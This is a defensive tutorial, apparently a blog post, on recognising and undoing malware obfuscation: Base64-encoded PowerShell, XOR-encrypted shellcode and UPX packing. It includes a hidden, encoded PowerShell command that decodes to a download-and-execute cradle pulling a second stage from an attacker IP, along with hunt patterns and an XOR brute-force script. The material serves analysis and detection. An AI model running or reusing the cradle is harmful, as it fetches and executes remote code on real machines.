In the 2025 Lazarus Group campaign targeting financial institutions, analysts found payloads that passed clean through five AV engines — not because the malware was new, but because it was wrapped in three layers of obfuscation. Obfuscation is not an advanced technique reserved for nation-state actors. It is table stakes. Every defender needs to recognize it and dismantle it fast.
Layer 1: Base64 and String Encoding
The simplest obfuscation a malware author reaches for is encoding. Base64 turns a readable PowerShell command into a wall of characters that skips basic signature detection. Here is what it looks like in the wild.
Say your EDR flags a suspicious process on ws-finance-04.corp.internal (192.0.2.47). You pull the command line from the process tree and see this:
powershell.exe -NonI -W Hidden -Enc
SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAwAC4AMgAuADkAOQAvAHMAdABhAGcAZQAxAC4AcABzADEAJwApAA==
Decode that Base64 blob on your analyst box with a single command:
$ echo "SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAwAC4AMgAuADkAOQAvAHMAdABhAGcAZQAxAC4AcABzADEAJwApAA==" | base64 -d
IEX (New-Object Net.WebClient).DownloadString('http://192.0.2.99/stage1.ps1')
There it is. IEX — Invoke-Expression — downloads and executes a second-stage script from 192.0.2.99. The Base64 was a wrapper, not the payload. Your immediate next move: block 192.0.2.99 at the perimeter, pull memory from ws-finance-04 before it phones home again, and hunt for any other hosts that ran the same encoded string using your SIEM. Search process command-line logs for -Enc combined with -W Hidden — that pairing is a reliable hunt pivot.
Layer 2: XOR Obfuscation in Shellcode
Encoding is trivial to beat, so more capable malware authors use XOR encryption on the actual shellcode payload. The malware drops a binary that looks like garbage until a single-byte or multi-byte key is applied at runtime. Static scanners see noise. The process sees a working implant.
You recover a suspicious binary from srv-devops-01.corp.internal (192.0.2.112), dropped by user jmartin in C:\Users\jmartin\AppData\Local\Temp\svcupd.bin. Run it through CyberChef or use Python to brute-force the XOR key:
# xor_brute.py — tries all single-byte XOR keys, prints printable results
with open('svcupd.bin', 'rb') as f:
data = f.read()
for key in range(1, 256):
decoded = bytes([b ^ key for b in data])
printable = sum(32 <= c < 127 for c in decoded)
if printable / len(decoded) > 0.6:
print(f"[+] Key 0x{key:02X} looks promising ({printable} printable bytes)")
print(decoded[:120])
print()
[+] Key 0x4B looks promising (3841 printable bytes)
b'MZ\x90\x00\x03\x00\x00\x00This program cannot be run in DOS mode...CreateRemoteThread...VirtualAllocEx...'
The MZ header tells you this is a Windows PE file hiding inside XOR encryption with key 0x4B. The strings CreateRemoteThread and VirtualAllocEx are textbook process injection APIs — this payload is designed to inject code into a running process. Write the decrypted binary to disk and drop it into Ghidra or Binary Ninja for full static analysis. Tag key 0x4B in your notes — malware families often reuse keys across campaigns, giving you a signature to hunt with YARA.
Layer 3: Packed Executables and How to Unpack Them
Packers compress or encrypt an entire executable and wrap it in a stub that decompresses it at runtime. UPX is the classic example — free, fast, and still effective against lazy detection. More advanced packers like custom loaders require dynamic analysis.
Identify packing fast with Detect-It-Easy (die), a fingerprinting tool that reads PE section entropy and known packer signatures:
$ die suspicious_update.exe
PE32
Packer: UPX(3.96)[NRV,brute]
Compiler: Microsoft Visual C/C++(2019 v.16.x)
Entropy: 7.89 (packed)
Entropy of 7.89 out of 8.0 is a near-perfect signal of compression or encryption. For UPX, unpacking is one command:
$ upx -d suspicious_update.exe -o unpacked.exe
Ultimate Packer for eXecutables
Unpacked 1 file.
Now run strings unpacked.exe | grep -iE "http|cmd|powershell|token" and you will likely see C2 URLs, mutex names, and target process names in plaintext. For custom packers, run the sample in a sandboxed VM — ANY.RUN or a local Cuckoo instance — and dump memory at the moment the unpacked payload executes. Tools like PE-sieve can detect and extract injected code from a running process automatically.
What To Do Now
Pick one host from your environment that has run PowerShell in the last 30 days. Pull its process command-line logs and grep for -EncodedCommand or -Enc. Pipe every hit through base64 -d and read what is actually there. You might find nothing. You might find something that changes your afternoon. Either way, you will have run the workflow once under no pressure — so the next time an alert fires at 2 AM, your hands already know what to do.
